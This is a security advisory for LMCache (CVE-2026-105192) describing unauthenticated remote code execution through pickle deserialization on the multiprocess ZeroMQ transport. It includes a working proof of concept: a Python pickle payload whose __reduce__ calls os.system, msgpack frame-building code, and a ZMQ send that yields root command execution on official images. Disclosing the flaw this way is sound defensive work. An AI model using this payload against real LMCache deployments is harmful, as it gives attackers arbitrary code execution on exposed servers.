LMCacheGHSA-w5f2-9q9c-ff4h

LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport

CVE-2026-105192 · Published Oct 16, 2026

Critical9.8

Fix: upgrade to 0.5.6 or later

Summary

LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport

Details

LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.

Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.

The decode path shipped in v0.3.9. It is...

Affected versions

Package	Affected	Fixed in
lmcache PyPI	>= 0.3.9, < 0.5.6	0.5.6

Details and references

### Summary LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport ### Details LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines. Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root. The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published. ### Proof of concept Step 1 - Start multiprocess mode bound to a routable address This is the documented multi-node setting. The ZMQ transport listens on port 5555. ``` python -m lmcache.v1.multiprocess.http_server \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01 ``` Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn. ``` import os import pickle import msgspec import zmq class EvilPayload: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (os.system, (self.cmd,)) evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1")) REGISTER_KV_CACHE = 1 EXT_CODE = 1 NUM_PAYLOADS = 7 KVCACHE_INDEX = 1 b_uid = msgspec.msgpack.encode(0) b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE) payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS payloads[0] = msgspec.msgpack.encode(0) payloads[KVCACHE_INDEX] = msgspec.msgpack.encode( [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)] ) frames = [b_uid, b_type, *payloads] ``` Step 3 - Send the frame ``` ctx = zmq.Context() s = ctx.socket(zmq.DEALER) s.connect("tcp://127.0.0.1:5555") s.send_multipart(frames) ``` The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run. Step 4 - Confirm the command ran as the LMCache user ``` cat /tmp/zmq_pwn ``` Expected output on an official image, where the process runs as root: ``` uid=0(root) gid=0(root) groups=0(root) ``` ### Impact LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process. By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as mul

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from: GitHub (reviewed advisory)
Weakness: CWE-306
Also known as: CVE-2026-105192

More LMCache advisories

All LMCache

Low 3.6Jun 4

LMCache: 16-bit multimodal hash collision can poison KV cache entriesCVE-2026-10813no fix yet